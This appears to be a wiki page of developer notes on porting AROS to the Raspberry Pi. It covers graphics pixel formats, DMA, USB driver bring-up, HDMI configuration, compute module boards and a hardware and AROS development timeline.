emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 